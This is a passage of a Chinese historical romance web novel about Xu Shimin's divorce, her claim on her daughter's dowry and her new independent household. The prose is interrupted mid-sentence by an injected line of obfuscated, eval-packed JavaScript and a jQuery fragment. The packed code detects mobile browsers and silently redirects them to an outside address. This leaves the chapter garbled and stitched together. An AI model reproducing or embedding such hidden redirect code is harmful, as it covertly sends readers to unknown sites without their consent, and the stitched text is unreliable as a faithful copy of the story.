最后一句,满是嘲讽。
听着尤为刺耳。
慕淮安面上挂不住,眉眼满是阴霾。
徐诗敏见状,以袖掩口,笑道:“对不住,我一时心直口快,把实话说出来了。”
“够了,晴姐儿不会给你带走的,她姓慕。”他咬牙切齿。
“给我带走又不会给她改姓,你怕什么?等孩子长大及笄后,谈婚论嫁了,该你给的嫁妆你一分都别想少。”徐诗敏抚了抚袖口,“我信不过你慕家,晴姐儿是我身上掉下来的肉,她又是个女孩子,自然要跟在母亲身边才能更好的长大。”
见慕淮安还要纠缠,她略有不耐,蹙眉又道,“你若坚持不肯,那咱们就僵持着,看谁犟得过谁!”
和离,她是离定了。
嫁妆,她也会一分不少的带走。
女儿,她更一步不让!
不仅如此,徐诗敏甚至还提前理出了一份嫁妆单子——没错,是给晴姐儿备的。
这份嫁妆单子要比徐诗敏自己的,整整多出了两倍。
慕淮安看见时,只觉得两眼发黑,差点没晕过去。
他算是彻底明白了,原来他一直都没真正懂过徐诗敏。
徐诗敏给的理由更是扎他的心。
“晴姐儿可是镇国将军府的千金,是嫡长女,门第比我那会儿出嫁时高多了;眼下府里就你一个支撑门户的,你有名正言顺、一母同胞的幼弟,外头还有你父亲给你生的一个弟弟一个妹妹;家业虽大,可说起来也就这么多。”
“和离后,你是肯定会另娶的,到时候另娶的夫人替你生儿育女,开枝散叶,这又是一笔开销;能留给我晴姐儿的,只会越来越少,我身为人母,自然要替我的孩子争取考虑。”
“你放心,给晴姐儿的,我会一件不少全都留给她,这单子你我人手一份,互相监督。”
徐诗敏弯起眉眼,笑道,“身为孩子父亲,你少说也该尽一尽为人父的责任吧。”
出力不行,那就出钱。
这也是徐大太太教给女儿的。
还是那句话,徐诗敏等得起,慕家父子等不了。
这世上没有不透风的墙。
徐成海的奏折虽然被压了下来,但还是会有风言风语传出去。
时间一长,哪怕皇帝刻意偏袒,也挡不住悠悠之口。
果然,撑不了半个月,慕淮安终于败下阵来,同意了徐诗敏的和离诉求,二人一同在和离书上签字留下手印。
去过官府后,徐诗敏看着已经盖过官府印章的和离书,结结实实松了口气。
这是她与夫家撕破脸后,第一次感到轻松畅快。
“最迟明日,我会派人来取晴姐儿的嫁妆。”她坐在马车里,抬手掀起帘笼,对着外头的前夫淡淡道。
这就已经是前夫了……
慕淮安心里很不是滋味。
他瞥开了视线:“随你。”
“答应你的事情我会做到,我父亲不会再**或是参奏慕老爷,对外就说,你我意志不合,难成佳偶,是我要和离的;你放心,你给晴姐儿备嫁妆的事情,我也会告知众人的。”
她得了实惠的里子,自然要替慕淮安将脸面维持住。
望着远方,徐诗敏只觉得卸掉了身上的重担,前所未有的快活,“那就这样。”
她放下了帘笼。
马车徐徐远去,直到慕淮安再也看不见。
和离这事儿瞒得再隐秘,也终究瞒不住太久。
第二天,徐诗敏托了徐府管事嬷嬷领着人前往镇国将军府,要将晴姐儿的嫁妆一并带走。
因事出突然,又要的急。
很多东西备不了,都是用银钱做弥补的。
徐诗敏没要银票,要的都是沉甸甸的真金白银,还有慕淮安给女儿的铺面田庄,厚厚的一沓,全是地契。
这样大的动静自然引来了慕大太太。
慕大太太见到此情此景,简直不敢相信自己的耳朵和眼睛,她都听到看到了什么?!
乖顺贴心的儿媳妇居然跟儿子和离了?
她不但带走了自己的嫁妆,现在还要来拿走晴姐儿的嫁妆。
晴姐儿才多大?
这就要嫁妆了?!
慕大太太匪夷所思。
可这是慕仲元和慕淮安共同的决定。
哪怕她再怎么拒绝愤怒也没用。
最后眼睁睁看着徐府的管事嬷嬷带走了一切,慕大太太怒极反笑,狠狠扇了慕淮安一巴掌,脸色铁青:“真是我养出来的好儿子!!”
徐诗敏并未回娘家。
她早就有了妙境琴坊,自然也早就置办了属于自己的宅院。
就在琴坊后头的另一条街上。
后院的大门对着琴坊,来去便宜。
这是一座三进院落,正经主子只有徐诗敏和女儿晴姐儿。
徐成海见女儿不声不响办成了大事,还从中推波助澜,悄悄给女儿办了女户,可独立门户。
徐大太太给女儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280839|184842||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
送了户籍凭证来,顺便逛了逛女儿的新家。
见这里打点齐备,布置典雅,颇有情调,来往奴仆都恭顺勤快又老实本分,她悬着的心总算放下了。
“从前总担心你们姐儿俩过不好,如今你确是能干了。”徐大太太感慨万千。
“若没有爹娘替我筹谋,为我撑腰,女儿哪有今日。”
“还是你自个儿出息,这琴坊办得好,上回太妃娘娘和长公主还夸了呢,我面上倍有光彩。”徐大太太笑得合不拢嘴,“你是时候让外人知晓妙境琴坊的主人是你了。”
“娘放心,我心里有数。”
屋子里的桌案上堆了一大半都是礼物。
徐大太太惊讶。
徐诗敏笑道:“这是心敏送来的,说是贺我乔迁之喜。”
“她也是长大了,有心了。”
这段故事在京中也被津津乐道。
人人都说看似最骄纵的徐家小女儿,最后却最规矩,安安分分在夫家守寡;当初名满京城的徐诗敏,反而不走寻常路,不但主动和离,还开立女户,独当一面。
送走了母亲,徐诗敏静下来盘点账目库房的明细。
突然,她叫来下人询问:“带回来的鸽子怎么少了两只?”
“回娘子的话,那不是两只送信的么,还没回来呢。”
徐诗敏脸色一变:“快,备马,我要再去一趟镇国将军府。”
说时迟那时快,她还未出门就迎来了慕淮安。
夫妻二人和离后再次碰面,他眼神里淬着冰,寒意十足,手里拿着一枚纸签子,看徐诗敏的视线满是审视和愤怒:“这是虞声笙给你的,你们俩——竟然暗中有联系?”
见事情揭穿,徐诗敏反而镇定下来。
她缓步上前:“我不能与虞四有联系么?”
飞快抽走慕淮安手里的纸签子,她轻轻冷笑,“这跟你没有关系,慕小将军。”
“她给你出的主意,她要你和离的,也是她……告诉你家里的隐秘——徐诗敏,你不是最讨厌她的么,为什么现在对她言听计从?”
“你不觉得你很可笑吗?”
徐诗敏瞥眼:“可笑的人是你吧,谁告诉你我最讨厌她了?”
“从前是我识人不清,好坏不分,但做人哪能一直愚昧蠢笨,我又不是不开窍的;我最讨厌的,是你啊,你怎么一点数都没有?”
慕淮安如遭雷劈,瞳仁发紧,愣在原地。
徐诗敏懒得跟他周旋:“送客。”